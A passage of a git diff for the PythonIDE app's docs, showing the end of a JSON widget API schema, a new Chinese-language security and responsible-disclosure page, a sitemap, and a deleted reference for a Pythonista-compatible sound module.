"type": "str|null" + }, + { + "name": "subtitle", + "type": "str|null" + }, + { + "name": "format", + "type": "str|null" + } + ], + "notes": [ + "Final public form: w.value(count, format=\"{} 次\"). StateRef identity is generated automatically." + ] + }, + "change": { + "node": "content", + "status": "public", + "parameters": [ + { + "name": "primary", + "type": "str|int|float", + "required": true + }, + { + "name": "secondary", + "type": "str|int|float|null" + }, + { + "name": "direction", + "type": "up|down|neutral|null" + } + ] + }, + "symbol": { + "node": "media", + "status": "public", + "parameters": [ + { + "name": "name", + "type": "str", + "required": true + }, + { + "name": "rendering", + "type": "monochrome|hierarchical|palette|multicolor|null" + }, + { + "name": "palette", + "type": "list[ColorLike]|null" + }, + { + "name": "variant", + "type": "fill|slash|circle|square|null" + }, + { + "name": "scale", + "type": "small|medium|large|null" + } + ] + }, + "svg": { + "node": "svg", + "status": "public", + "parameters": [ + { + "name": "name", + "type": "asset name|local SVG path|http(s) SVG URL|null" + }, + { + "name": "width", + "type": "float|null" + }, + { + "name": "height", + "type": "float|null" + }, + { + "name": "color", + "type": "ColorLike|null" + }, + { + "name": "opacity", + "type": "float|null" + }, + { + "name": "padding", + "type": "float|null" + }, + { + "name": "content_mode", + "type": "fit|fill", + "default": "fit" + }, + { + "name": "light", + "type": "asset name|local SVG path|http(s) SVG URL|null" + }, + { + "name": "dark", + "type": "asset name|local SVG path|http(s) SVG URL|null" + } + ] + }, + "badge": { + "node": "content", + "status": "public", + "parameters": [ + { + "name": "text", + "type": "str|int|float", + "required": true + }, + { + "name": "icon", + "type": "str|null" + }, + { + "name": "tone", + "type": "str", + "default": "accent" + }, + { + "name": "style", + "type": "plain|soft", + "default": "plain" + } + ] + }, + "row": { + "node": "layout", + "status": "public", + "container": true, + "parameters": [ + { + "name": "spacing", + "type": "float|null" + }, + { + "name": "align", + "type": "str|null" + } + ] + }, + "column": { + "node": "layout", + "status": "public", + "container": true, + "parameters": [ + { + "name": "spacing", + "type": "float|null" + }, + { + "name": "align", + "type": "str|null" + } + ] + }, + "layer": { + "node": "layout", + "status": "public", + "container": true, + "parameters": [ + { + "name": "align", + "type": "str", + "default": "center" + }, + { + "name": "padding", + "type": "float|null" + }, + { + "name": "background", + "type": "WidgetBackground|null" + }, + { + "name": "corner_radius", + "type": "float|null" + } + ] + }, + "surface": { + "node": "layout", + "status": "public", + "container": true, + "parameters": [ + { + "name": "role", + "type": "panel|plain|clear|str", + "default": "panel" + }, + { + "name": "spacing", + "type": "float|null" + }, + { + "name": "align", + "type": "str|null" + }, + { + "name": "padding", + "type": "float|null" + }, + { + "name": "background", + "type": "WidgetBackground|null" + }, + { + "name": "corner_radius", + "type": "float|null" + }, + { + "name": "border_color", + "type": "ColorLike|null" + }, + { + "name": "border_width", + "type": "float|null" + }, + { + "name": "shadow_color", + "type": "ColorLike|null" + }, + { + "name": "shadow_radius", + "type": "float|null" + } + ] + }, + "section": { + "node": "layout", + "status": "public", + "container": true, + "parameters": [ + { + "name": "title", + "type": "str|int|float|null" + }, + { + "name": "spacing", + "type": "float|null" + }, + { + "name": "subtitle", + "type": "str|int|float|null" + } + ] + }, + "list": { + "node": "layout", + "status": "public", + "container": true, + "parameters": [ + { + "name": "items", + "type": "list[str|tuple|dict]", + "required": true + }, + { + "name": "title", + "type": "str|int|float|null" + }, + { + "name": "limit", + "type": "int|null" + }, + { + "name": "empty_text", + "type": "str|int|float|null" + }, + { + "name": "dividers", + "type": "bool", + "default": false + } + ] + }, + "countdown": { + "node": "content", + "status": "public", + "parameters": [ + { + "name": "title", + "type": "str|int|float|null", + "default": "Countdown" + }, + { + "name": "target", + "type": "datetime|str|null" + }, + { + "name": "subtitle", + "type": "str|int|float|null" + }, + { + "name": "icon", + "type": "str|null" + }, + { + "name": "tone", + "type": "str|null" + }, + { + "name": "accent", + "type": "ColorLike|null" + } + ] + }, + "region": { + "node": "layout", + "status": "public", + "container": true, + "parameters": [ + { + "name": "slot", + "type": "str", + "default": "center" + }, + { + "name": "spacing", + "type": "float|null" + }, + { + "name": "align", + "type": "str|null" + } + ] + }, + "text": { + "node": "content", + "status": "public", + "parameters": [ + { + "name": "content", + "type": "str|int|float", + "required": true + }, + { + "name": "size", + "type": "float|null" + }, + { + "name": "weight", + "type": "str|null" + }, + { + "name": "color", + "type": "ColorLike|null" + }, + { + "name": "align", + "type": "str|null" + }, + { + "name": "max_lines", + "type": "int|null" + }, + { + "name": "design", + "type": "str|null" + }, + { + "name": "font_width", + "type": "str|null" + }, + { + "name": "opacity", + "type": "float|null" + }, + { + "name": "padding", + "type": "float|null" + }, + { + "name": "frame", + "type": "Frame|null" + }, + { + "name": "minimum_scale_factor", + "type": "float|null" + } + ] + }, + "rich_text": { + "node": "content", + "status": "public", + "parameters": [ + { + "name": "parts", + "type": "list[RichTextPart]", + "required": true + }, + { + "name": "size", + "type": "float|null" + }, + { + "name": "weight", + "type": "str|null" + }, + { + "name": "color", + "type": "ColorLike|null" + }, + { + "name": "align", + "type": "str|null" + }, + { + "name": "max_lines", + "type": "int|null" + }, + { + "name": "design", + "type": "str|null" + }, + { + "name": "font_width", + "type": "str|null" + }, + { + "name": "opacity", + "type": "float|null" + }, + { + "name": "padding", + "type": "float|null" + }, + { + "name": "minimum_scale_factor", + "type": "float|null" + } + ] + }, + "spacer": { + "node": "layout", + "status": "public", + "parameters": [ + { + "name": "length", + "type": "float|null" + } + ] + }, + "divider": { + "node": "layout", + "status": "public", + "parameters": [ + { + "name": "color", + "type": "ColorLike|null" + }, + { + "name": "opacity", + "type": "float|null" + } + ] + }, + "shape": { + "node": "media", + "status": "public", + "advancedSemantic": true, + "parameters": [ + { + "name": "kind", + "type": "rectangle|rounded_rectangle|circle|capsule", + "default": "rectangle" + }, + { + "name": "color", + "type": "ColorLike|null" + }, + { + "name": "width", + "type": "float|null" + }, + { + "name": "height", + "type": "float|null" + }, + { + "name": "size", + "type": "float|null" + }, + { + "name": "corner_radius", + "type": "float|null" + }, + { + "name": "opacity", + "type": "float|null" + }, + { + "name": "padding", + "type": "float|null" + }, + { + "name": "frame", + "type": "Frame|null" + }, + { + "name": "border_color", + "type": "ColorLike|null" + }, + { + "name": "border_width", + "type": "float|null" + }, + { + "name": "shadow_color", + "type": "ColorLike|null" + }, + { + "name": "shadow_radius", + "type": "float|null" + }, + { + "name": "shadow_x", + "type": "float", + "default": 0 + }, + { + "name": "shadow_y", + "type": "float", + "default": 2 + } + ] + }, + "progress": { + "description": "Add a low-level progress bar. Compose labels, icons, and layout manually with text(), row(), column(), and grid().", + "parameters": [ + { + "name": "value", + "type": "float", + "required": true + }, + { + "name": "total", + "type": "float", + "default": 1 + }, + { + "name": "color", + "type": "ColorLike|null" + }, + { + "name": "height", + "type": "float|null" + }, + { + "name": "track_color", + "type": "ColorLike|null" + } + ], + "returns": "WidgetNode", + "node": "chart", + "semanticBlock": true, + "notes": "Creates one progress node; title, value, and bar layout are handled by PythonIDE." + }, + "line_chart": { + "node": "chart", + "status": "public", + "parameters": [ + { + "name": "values", + "type": "NumberList", + "required": true + }, + { + "name": "color", + "type": "ColorLike|null" + }, + { + "name": "height", + "type": "float|null" + }, + { + "name": "min_value", + "type": "float|null" + }, + { + "name": "max_value", + "type": "float|null" + }, + { + "name": "fill", + "type": "bool", + "default": true + }, + { + "name": "show_points", + "type": "bool", + "default": true + }, + { + "name": "line_width", + "type": "float|null" + }, + { + "name": "track_color", + "type": "ColorLike|null" + }, + { + "name": "opacity", + "type": "float|null" + }, + { + "name": "padding", + "type": "float|null" + }, + { + "name": "frame", + "type": "Frame|null" + }, + { + "name": "baseline", + "type": "float|null" + }, + { + "name": "threshold", + "type": "float|null" + }, + { + "name": "labels", + "type": "list|dict|null" + }, + { + "name": "label_color", + "type": "ColorLike|null" + } + ] + }, + "bar_chart": { + "node": "chart", + "status": "public", + "parameters": [ + { + "name": "values", + "type": "NumberList", + "required": true + }, + { + "name": "color", + "type": "ColorLike|null" + }, + { + "name": "height", + "type": "float|null" + }, + { + "name": "min_value", + "type": "float|null" + }, + { + "name": "max_value", + "type": "float|null" + }, + { + "name": "spacing", + "type": "float|null" + }, + { + "name": "corner_radius", + "type": "float|null" + }, + { + "name": "track_color", + "type": "ColorLike|null" + }, + { + "name": "opacity", + "type": "float|null" + }, + { + "name": "padding", + "type": "float|null" + }, + { + "name": "frame", + "type": "Frame|null" + }, + { + "name": "baseline", + "type": "float|null" + }, + { + "name": "threshold", + "type": "float|null" + }, + { + "name": "labels", + "type": "list|dict|null" + }, + { + "name": "label_color", + "type": "ColorLike|null" + } + ] + }, + "ring_chart": { + "node": "chart", + "status": "public", + "parameters": [ + { + "name": "value", + "type": "float", + "required": true + }, + { + "name": "total", + "type": "float", + "default": 1 + }, + { + "name": "label", + "type": "str|null" + }, + { + "name": "color", + "type": "ColorLike|null" + }, + { + "name": "track_color", + "type": "ColorLike|null" + }, + { + "name": "size", + "type": "float|null" + }, + { + "name": "line_width", + "type": "float|null" + }, + { + "name": "opacity", + "type": "float|null" + }, + { + "name": "padding", + "type": "float|null" + }, + { + "name": "frame", + "type": "Frame|null" + } + ] + }, + "date": { + "node": "content", + "status": "public", + "parameters": [ + { + "name": "target", + "type": "datetime|str|null" + }, + { + "name": "style", + "type": "str", + "default": "date" + } + ] + }, + "time": { + "node": "content", + "status": "public", + "parameters": [ + { + "name": "target", + "type": "datetime|str|null" + } + ] + }, + "relative_time": { + "node": "content", + "status": "public", + "parameters": [ + { + "name": "target", + "type": "datetime|str|null" + } + ] + }, + "timer_text": { + "node": "content", + "status": "public", + "parameters": [ + { + "name": "target", + "type": "datetime|str|null" + } + ] + }, + "background_image": { + "node": "appearance", + "status": "public", + "parameters": [ + { + "name": "asset", + "type": "asset name|local path|http(s) URL", + "required": true + }, + { + "name": "content_mode", + "type": "fit|fill", + "default": "fill" + }, + { + "name": "dim", + "type": "bool|float|null" + }, + { + "name": "scrim", + "type": "bool|bottom|top|leading|trailing|full|null" + }, + { + "name": "scrim_opacity", + "type": "float|null" + }, + { + "name": "focal", + "type": "center|top|bottom|leading|trailing|topLeading|topTrailing|bottomLeading|bottomTrailing", + "default": "center" + }, + { + "name": "overlay_color", + "type": "ColorLike", + "default": "#000000" + } + ] + }, + "background": { + "node": "appearance", + "status": "public", + "parameters": [ + { + "name": "value", + "type": "WidgetBackground", + "required": true + } + ], + "returns": "Widget" + }, + "image": { + "node": "media", + "status": "public", + "parameters": [ + { + "name": "name", + "type": "asset name|http(s) URL", + "required": true + }, + { + "name": "width", + "type": "float|null" + }, + { + "name": "height", + "type": "float|null" + }, + { + "name": "corner_radius", + "type": "float|null" + }, + { + "name": "opacity", + "type": "float|null" + }, + { + "name": "padding", + "type": "float|null" + }, + { + "name": "content_mode", + "type": "fit|fill|null" + } + ] + }, + "button": { + "node": "interaction", + "status": "public", + "parameters": [ + { + "name": "title", + "type": "str|null" + }, + { + "name": "action", + "type": "str|WidgetAction|null" + }, + { + "name": "url", + "type": "str|null" + }, + { + "name": "color", + "type": "ColorLike|null" + }, + { + "name": "background", + "type": "WidgetBackground|null" + }, + { + "name": "size", + "type": "float|null" + }, + { + "name": "padding", + "type": "float|null" + }, + { + "name": "style", + "type": "plain|prominent|soft|null", + "keywordOnly": true + }, + { + "name": "layout", + "type": "overlay|row|column|null", + "keywordOnly": true + } + ], + "notes": [ + "title may be omitted when using button as a custom control container inside canvas/layer/grid." + ] + }, + "link": { + "node": "interaction", + "status": "public", + "parameters": [ + { + "name": "title", + "type": "str", + "required": true + }, + { + "name": "url", + "type": "str", + "required": true + }, + { + "name": "icon", + "type": "str|null" + }, + { + "name": "color", + "type": "ColorLike|null" + } + ] + }, + "toggle": { + "node": "interaction", + "status": "public", + "parameters": [ + { + "name": "title", + "type": "str|null" + }, + { + "name": "state", + "type": "BoolStateRef|null", + "keywordOnly": true + }, + { + "name": "url", + "type": "str|null" + }, + { + "name": "color", + "type": "ColorLike|null" + }, + { + "name": "background", + "type": "WidgetBackground|null" + }, + { + "name": "size", + "type": "float|null" + }, + { + "name": "padding", + "type": "float|null" + }, + { + "name": "style", + "type": "plain|prominent|soft|null", + "keywordOnly": true + }, + { + "name": "layout", + "type": "overlay|row|column|null", + "keywordOnly": true + } + ], + "notes": [ + "Final public form: w.toggle(title, state=done). The toggle action is inferred from the bool StateRef.", + "title may be omitted when custom children draw the toggle content." + ] + }, + "grid": { + "node": "layout", + "status": "public", + "container": true, + "advancedSemantic": true, + "parameters": [ + { + "name": "columns", + "type": "int", + "default": 2 + }, + { + "name": "spacing", + "type": "float|null" + }, + { + "name": "rows", + "type": "int|null" + }, + { + "name": "equal", + "type": "bool", + "default": false + }, + { + "name": "fill", + "type": "bool", + "default": false + } + ] + }, + "validate": { + "parameters": [ + { + "name": "family", + "type": "Family|null" + } + ], + "returns": "dict", + "node": "lifecycle" + }, + "render": { + "parameters": [ + { + "name": "url", + "type": "str|null" + } + ], + "returns": "None", + "node": "lifecycle" + }, + "canvas": { + "node": "media", + "status": "public", + "advancedSemantic": true, + "container": true, + "parameters": [ + { + "name": "height", + "type": "float|null" + }, + { + "name": "coordinate_space", + "type": "relative|points", + "default": "relative" + }, + { + "name": "align", + "type": "str", + "default": "center" + }, + { + "name": "background", + "type": "WidgetBackground|null" + }, + { + "name": "padding", + "type": "float|null" + }, + { + "name": "corner_radius", + "type": "float|null" + }, + { + "name": "border_color", + "type": "ColorLike|null" + }, + { + "name": "border_width", + "type": "float|null" + }, + { + "name": "opacity", + "type": "float|null" + }, + { + "name": "fill", + "type": "bool", + "default": false + } + ], + "notes": [ + "Use for poster-like exact placement or custom vector decoration. Prefer normal layout primitives unless exact drawing is needed." + ] + }, + "path": { + "node": "media", + "status": "public", + "advancedSemantic": true, + "parameters": [ + { + "name": "points", + "type": "list[PathPoint]", + "required": true + }, + { + "name": "stroke", + "type": "ColorLike|null" + }, + { + "name": "fill", + "type": "ColorLike|null" + }, + { + "name": "line_width", + "type": "float|null" + }, + { + "name": "closed", + "type": "bool", + "default": false + }, + { + "name": "height", + "type": "float|null" + }, + { + "name": "coordinate_space", + "type": "relative|points", + "default": "relative" + }, + { + "name": "opacity", + "type": "float|null" + }, + { + "name": "padding", + "type": "float|null" + } + ], + "notes": [ + "Relative points use 0..1 coordinates inside the path drawing area or canvas." + ] + }, + "timeline": { + "description": "Set this widget's timeline refresh policy.", + "parameters": [ + { + "name": "entries" + }, + { + "name": "update", + "default": "after" + }, + { + "name": "after" + }, + { + "name": "interval" + } + ], + "node": "lifecycle" + }, + "context": { + "node": "-", + "status": "public", + "parameters": [] + }, + "container_background": { + "node": "appearance", + "status": "public", + "parameters": [ + { + "name": "value", + "type": "WidgetBackground|null" + }, + { + "name": "removable", + "type": "bool|null" + } + ] + }, + "content_margins": { + "node": "appearance", + "status": "public", + "parameters": [ + { + "name": "enabled", + "type": "bool", + "default": true + } + ] + }, + "transparent_background": { + "node": "appearance", + "status": "public", + "parameters": [ + { + "name": "enabled", + "type": "bool", + "default": true + } + ] + }, + "when": { + "node": "layout", + "status": "public", + "container": true, + "parameters": [ + { + "name": "*families", + "type": "str" + }, + { + "name": "layout", + "type": "layer|row|column", + "default": "layer" + } + ] + }, + "unless": { + "node": "layout", + "status": "public", + "container": true, + "parameters": [ + { + "name": "*families", + "type": "str" + }, + { + "name": "layout", + "type": "layer|row|column", + "default": "layer" + } + ] + }, + "rect": { + "node": "shape", + "status": "public", + "parameters": [ + { + "name": "color", + "type": "ColorLike|null" + }, + { + "name": "width", + "type": "float|null" + }, + { + "name": "height", + "type": "float|null" + }, + { + "name": "corner_radius", + "type": "float|null" + } + ] + }, + "circle": { + "node": "shape", + "status": "public", + "parameters": [ + { + "name": "color", + "type": "ColorLike|null" + }, + { + "name": "size", + "type": "float|null" + }, + { + "name": "opacity", + "type": "float|null" + }, + { + "name": "padding", + "type": "float|null" + }, + { + "name": "border_color", + "type": "ColorLike|null" + }, + { + "name": "border_width", + "type": "float|null" + } + ] + }, + "dynamic_date": { + "node": "timer", + "status": "public", + "parameters": [ + { + "name": "date", + "type": "datetime|str|float|int" + }, + { + "name": "style", + "type": "timer|date|time|relative", + "default": "relative" + } + ] + }, + "flip": { + "node": "animation", + "status": "public", + "parameters": [ + { + "name": "value", + "type": "str|int|float|state" + }, + { + "name": "previous", + "type": "str|int|float|null" + }, + { + "name": "width", + "type": "float|null" + }, + { + "name": "height", + "type": "float|null" + }, + { + "name": "size", + "type": "float|null" + }, + { + "name": "duration", + "type": "float", + "default": 0.55 + }, + { + "name": "direction", + "type": "up|down|left|right", + "default": "up" + }, + { + "name": "perspective", + "type": "float", + "default": 0.62 + }, + { + "name": "shadow_opacity", + "type": "float", + "default": 0.18 + } + ] + }, + "table": { + "node": "table", + "status": "public", + "container": true, + "parameters": [ + { + "name": "rows", + "type": "int", + "required": true + }, + { + "name": "columns", + "type": "int", + "required": true + }, + { + "name": "line_color", + "type": "ColorLike|null" + }, + { + "name": "line_width", + "type": "float|hairline", + "default": "hairline" + }, + { + "name": "line_cap", + "type": "butt|round|square", + "default": "butt" + }, + { + "name": "line_join", + "type": "miter|round|bevel", + "default": "miter" + }, + { + "name": "width", + "type": "float|null" + }, + { + "name": "height", + "type": "float|null" + } + ] + } + } + } + }, + "modifiers": { + "shadow": [ + "color", + "radius", + "x", + "y" + ], + "background": [ + "value" + ], + "overlay": [ + "color", + "opacity" + ], + "clip": [ + "kind", + "corner_radius" + ], + "clip_shape": [ + "kind", + "corner_radius" + ], + "mask": [ + "kind", + "corner_radius" + ], + "reverse_mask": [ + "kind", + "corner_radius" + ], + "link": [ + "url" + ], + "accessibility": [ + "label", + "value", + "hint", + "hidden" + ], + "capsule": [ + "tone", + "padding" + ], + "soft_background": [ + "tone", + "corner_radius", + "padding" + ], + "slot": [ + "value" + ], + "frame": [ + "width", + "height", + "minWidth", + "maxWidth", + "minHeight", + "maxHeight", + "alignment" + ], + "font": [ + "value", + "size", + "weight", + "**sizes" + ], + "font_size": [ + "size" + ], + "font_style": [ + "style" + ], + "font_weight": [ + "weight" + ], + "font_width": [ + "width" + ], + "monospaced": [ + "enabled" + ], + "monospaced_digit": [ + "enabled" + ], + "compressed": [ + "enabled" + ], + "color": [ + "value" + ], + "tone": [ + "value" + ], + "height": [ + "value", + "small", + "medium", + "large", + "rectangular", + "circular", + "inline" + ], + "width": [ + "value", + "small", + "medium", + "large", + "rectangular", + "circular", + "inline" + ], + "padding": [ + "value", + "horizontal", + "vertical", + "top", + "leading", + "bottom", + "trailing" + ], + "align": [ + "value" + ], + "corner_radius": [ + "value" + ], + "opacity": [ + "value" + ], + "guide_lines": [ + "count", + "color" + ], + "grid": [ + "count", + "color" + ], + "points": [ + "enabled" + ], + "fill": [ + "enabled" + ], + "line_width": [ + "value" + ], + "track_color": [ + "value" + ], + "bar_spacing": [ + "value" + ], + "segment_colors": [ + "colors" + ], + "line_limit": [ + "value" + ], + "min_scale": [ + "value" + ], + "offset": [ + "x", + "y" + ], + "layout_priority": [ + "value" + ], + "fixed_size": [ + "horizontal", + "vertical" + ], + "hide": [ + "*families" + ], + "overlay_view": [ + "align" + ], + "mask_view": [ + "align" + ], + "place": [ + "x", + "y", + "unit" + ], + "position": [ + "x", + "y", + "unit" + ], + "pixel_perfect_center": [ + "enabled" + ], + "stroke": [ + "color", + "width", + "dash", + "cap", + "join", + "miter_limit" + ], + "animation": [ + "value", + "duration", + "value_by" + ], + "content_transition": [ + "value" + ], + "transition": [ + "value", + "edge" + ], + "id": [ + "value" + ], + "button_style": [ + "value" + ], + "toggle_style": [ + "value" + ], + "pressed": [ + "**style" + ], + "normal": [ + "**style" + ], + "intent": [ + "action" + ], + "rendering": [ + "mode", + "colors" + ], + "palette": [ + "colors" + ], + "variant": [ + "value" + ], + "accentable": [ + "enabled" + ], + "privacy_sensitive": [ + "enabled" + ], + "redacted": [ + "reason" + ], + "baseline": [ + "value", + "color" + ], + "threshold": [ + "value", + "color" + ], + "labels": [ + "start", + "end", + "color" + ], + "importance": [ + "value" + ], + "preserve": [ + "enabled" + ], + "overflow": [ + "action", + "importance", + "preserve" + ], + "plain": [], + "control_style": [ + "value" + ], + "control_layout": [ + "value" + ], + "rotation": [ + "degrees" + ], + "rotate": [ + "degrees" + ], + "scale": [ + "value" + ] + } +} diff --git a/docs/security/index.html b/docs/security/index.html new file mode 100644 index 0000000..7086a9a --- /dev/null +++ b/docs/security/index.html @@ -0,0 +1,17 @@ + + + + + 安全说明 — PythonIDE +
+ +

安全

边界要牢固,限制也要诚实。

PythonIDE 结合 Apple 平台安全、本地优先存储、签名服务请求与审核控制;实际安全仍取决于你选择的代码、服务商与权限。

最近更新:2026 年 7 月 16 日

+
+

产品中的安全措施

本地优先存储项目、设置与 AI 历史主要留在设备或你选择的文件提供商中,减少不必要的集中收集。
钥匙串保护账户会话令牌、AI API 密钥、OAuth 密钥与令牌、自定义认证请求头及设备认证标识在受支持时使用 Apple 钥匙串。
加密与固定平台传输在线服务使用 HTTPS;内置平台 AI 连接还会验证服务器信任,并对配置主机匹配批准的公钥固定值。
设备认证受支持的平台 AI 鉴权使用 Apple App Attest 密钥与断言,降低自动化滥用,并把短期服务令牌与真实 App 实例关联。
签名购买验证StoreKit 签名交易与当前权益会被验证和同步,用于维护访问、恢复、退款与反欺诈状态。
账户与社区控制通过 Apple 登录、刷新令牌撤销、投稿人工审核、处理记录、软下架与永久账户删除提供运行控制与可审计性。
+

需要理解的安全边界

  • Python 代码具有强大能力。脚本可能在平台与权限边界内访问文件、网络、传感器、个人数据、外部 App 或系统集成;未经检查就授权仍可能造成危害。
  • 社区审核会降低明显风险,但不是保证或安全认证。导入、分享、下载与 AI 生成代码在执行前仍需检查。
  • 自定义 AI 接口、包仓库、Git 服务、网站、文件提供商或其他第三方不在 PythonIDE 的直接安全控制中,其条款、鉴权、日志与事件响应同时适用。
  • 任何软件或网络服务都无法保证绝对安全、可用性或恢复能力。请保留备份,并使用提供方的控制保护重要凭证与数据。
+

建议的安全做法

1
更新 App 与系统及时安装 App Store 与 Apple 系统更新,获取安全与兼容性修复。
2
运行前检查检查陌生源码、依赖、网络主机、文件操作、工具动作与请求权限,并在有限范围测试。
3
不要把秘密写入内容使用钥匙串支持的设置。不要提交或发布凭证,也不要粘贴到 AI 提示词或支持邮件。
4
最小权限只授予当前任务所需权限,不再需要时在系统设置中撤销。
5
备份重要作品在你控制的位置保留版本化副本。本地删除、设备丢失、提供商同步或破坏性脚本可能无法撤销。
+

负责任地报告安全问题

如你认为发现了 PythonIDE App 或官方服务的漏洞,请在公开披露前私下报告。请包含受影响版本或 URL、影响、完整复现步骤、尽量减少访问真实数据的证明,以及安全联系方式。

不要扩大损害

不得访问其他用户数据、破坏服务、维持访问、植入恶意软件、实施社会工程、公开凭证或以威胁方式索取报酬。获得足以说明问题的证据后应停止测试。

我们会确认可信报告,依据严重程度与现有信息调查,并在适当时协调合理披露时间。本页不构成漏洞奖金承诺,也不在适用法律已有权利之外额外承诺安全港计划。

+
+
+ +
diff --git a/docs/sitemap.xml b/docs/sitemap.xml new file mode 100644 index 0000000..a3fa3e5 --- /dev/null +++ b/docs/sitemap.xml @@ -0,0 +1,17 @@ + + + https://pythonide.xin/ + https://pythonide.xin/website/ + https://pythonide.xin/docs/ + https://pythonide.xin/i/ + https://pythonide.xin/activity/ + https://pythonide.xin/support/ + https://pythonide.xin/privacy/ + https://pythonide.xin/terms/ + https://pythonide.xin/subscription/ + https://pythonide.xin/ai-policy/ + https://pythonide.xin/community-guidelines/ + https://pythonide.xin/account-deletion/ + https://pythonide.xin/security/ + https://pythonide.xin/about/ + diff --git a/docs/sound-module.md b/docs/sound-module.md deleted file mode 100644 index 623f3fb..0000000 --- a/docs/sound-module.md +++ /dev/null @@ -1,306 +0,0 @@ -# sound 模块 — 完整 API 参考 - -> Pythonista 兼容音频播放模块,基于 AVAudioPlayer 后端。 -> 支持短音效、长音频/音乐播放、音量/音高/声像控制、循环、静音开关。 - ---- - -## 目录 - -- [快速开始](#快速开始) -- [音效播放](#音效播放) - - [play_effect()](#play_effect) - - [stop_effect()](#stop_effect) - - [stop_all_effects()](#stop_all_effects) -- [Player 类](#player-类) -- [MIDIPlayer 类](#midiplayer-类) -- [全局设置](#全局设置) - - [set_volume()](#set_volume) - - [get_volume()](#get_volume) - - [set_honors_silent_switch()](#set_honors_silent_switch) -- [音效文件名规则](#音效文件名规则) -- [游戏中使用 sound](#游戏中使用-sound) -- [完整示例](#完整示例) - ---- - -## 快速开始 - -```python -import sound - -# 播放一个短音效 -sound.play_effect('game:Beep') - -# 播放背景音乐(循环) -bgm = sound.Player('background.mp3') -bgm.number_of_loops = -1 -bgm.play() -``` - ---- - -## 音效播放 - -### play_effect() - -```python -sound.play_effect(name, volume=1.0, pitch=1.0, pan=0.0, looping=False) -``` - -播放短音效,立即返回一个 handle,可用于稍后停止。 - -| 参数 | 类型 | 默认 | 说明 | -|------|------|------|------| -| `name` | str | 必填 | 音频文件名或 Pythonista 风格名(如 `'game:Beep'`) | -| `volume` | float | 1.0 | 音量 0.0–1.0 | -| `pitch` | float | 1.0 | 播放速率倍数 0.5–2.0(影响音高和速度) | -| `pan` | float | 0.0 | 声像:-1.0 最左,0.0 居中,1.0 最右 | -| `looping` | bool | False | 是否循环播放 | - -**返回值**:`EffectHandle` 对象(传给 `stop_effect()`),失败返回 `None`。 - -```python -handle = sound.play_effect('arcade:Coin_1', volume=0.5) -``` - -### stop_effect() - -```python -sound.stop_effect(effect_handle) -``` - -停止指定的音效。 - -| 参数 | 类型 | 说明 | -|------|------|------| -| `effect_handle` | EffectHandle | `play_effect()` 返回的 handle | - -```python -h = sound.play_effect('game:Beep', looping=True) -# ... 稍后 -sound.stop_effect(h) -``` - -### stop_all_effects() - -```python -sound.stop_all_effects() -``` - -停止所有正在播放的音效。 - ---- - -## Player 类 - -用于播放较长的音频文件(音乐、播客等),支持完整播放控制。 - -### 创建 - -```python -p = sound.Player('music.mp3') -``` - -### 方法 - -| 方法 | 说明 | -|------|------| -| `p.play()` | 开始或恢复播放 | -| `p.pause()` | 暂停(可用 `play()` 恢复) | -| `p.stop()` | 停止并重置到开头 | - -### 属性 - -| 属性 | 类型 | 读/写 | 说明 | -|------|------|-------|------| -| `playing` | bool | 只读 | 是否正在播放 | -| `duration` | float | 只读 | 总时长(秒) | -| `current_time` | float | 读写 | 当前播放位置(秒) | -| `volume` | float | 读写 | 播放音量 0.0–1.0 | -| `rate` | float | 读写 | 播放速率 0.5–2.0(1.0 为正常速度) | -| `number_of_loops` | int | 读写 | 循环次数:0=不循环,-1=无限,N=循环 N 次 | -| `file_path` | str | 只读 | 文件路径 | - -```python -import sound - -p = sound.Player('epic_music.mp3') -p.volume = 0.7 -p.number_of_loops = -1 # 无限循环 -p.play() - -print(f'时长: {p.duration:.1f}秒') -print(f'当前: {p.current_time:.1f}秒') - -p.current_time = 30.0 # 跳到 30 秒 -p.rate = 1.5 # 1.5 倍速 -p.pause() -p.play() # 恢复 -p.stop() # 停止并回到开头 -``` - ---- - -## MIDIPlayer 类 - -MIDI 播放器兼容占位。iOS 无原生简单 MIDI API,接口保留以兼容 Pythonista。 - -```python -mp = sound.MIDIPlayer('song.mid') -mp.play() -mp.stop() -mp.playing # bool -``` - ---- - -## 全局设置 - -### set_volume() - -```python -sound.set_volume(volume) -``` - -设置全局主音量(0.0–1.0),影响所有音效和 Player。 - -### get_volume() - -```python -vol = sound.get_volume() # → float -``` - -获取当前全局主音量。 - -### set_honors_silent_switch() - -```python -sound.set_honors_silent_switch(flag) -``` - -| 参数 | 行为 | -|------|------| -| `True`(默认) | 静音开关打开时静音 | -| `False` | 忽略静音开关,始终播放 | - ---- - -## 音效文件名规则 - -`play_effect()` 和 `Player()` 支持多种文件名格式,按以下优先级解析: - -| 格式 | 示例 | 说明 | -|------|------|------| -| 绝对路径 | `/var/.../.../sound.wav` | 直接使用 | -| Pythonista 风格 | `'game:Beep'` | 在 Bundle `Sounds//` 中查找 | -| Bundle 文件名 | `'click.caf'` | 在 app bundle 中查找 | -| 相对路径 | `'sounds/bgm.mp3'` | 先找当前目录,再找 Documents | - -**内置 149 个音效(CC0 来源 Kenney.nl),7 大分类**: - -| 分类 | 数量 | 完整列表 | -|------|------|------| -| `game:` | 34 | `Beep` `Error` `Error_2` `Error_3` `Powerup` `Ding_1`~`Ding_3` `Clock_1`~`Clock_3` `Hit_1`~`Hit_4` `Drop_1` `Drop_2` `Pluck_1` `Pluck_2` `Glass_1` `Glass_2` `Swoosh_1`~`Swoosh_3` `Open_1` `Open_2` `Close_1` `Close_2` `Select_1` `Select_2` `Glitch_1` `Glitch_2` `Question_1` `Scratch_1` | -| `arcade:` | 13 | `Coin_1` `Coin_2` `Jump_1`~`Jump_3` `Explosion_1`~`Explosion_3` `Laser_1`~`Laser_3` `Zap_1` `Zap_2` | -| `ui:` | 12 | `click1`~`click5` `switch1`~`switch3` `rollover1` `rollover2` `mouseclick1` `mouserelease1` | -| `digital:` | 34 | `PowerUp1`~`PowerUp12` `Laser1`~`Laser9` `Zap1` `Zap2` `HighUp` `HighDown` `LowDown` `LowRandom` `PepSound1` `PepSound2` `Tone1` `TwoTone1` `TwoTone2` `ThreeTone1` `ThreeTone2` | -| `casino:` | 15 | `DiceThrow1`~`DiceThrow3` `DiceShake1` `DiceShake2` `CardPlace1` `CardPlace2` `CardSlide1` `CardSlide2` `CardShuffle` `ChipsCollide1` `ChipsCollide2` `ChipsHandle1` `ChipLay1` `ChipLay2` | -| `rpg:` | 25 | `DoorOpen_1` `DoorOpen_2` `DoorClose_1` `DoorClose_2` `BookOpen` `BookClose` `BookFlip_1` `BookFlip_2` `Chop` `KnifeSlice_1` `KnifeSlice_2` `DrawKnife_1` `MetalClick` 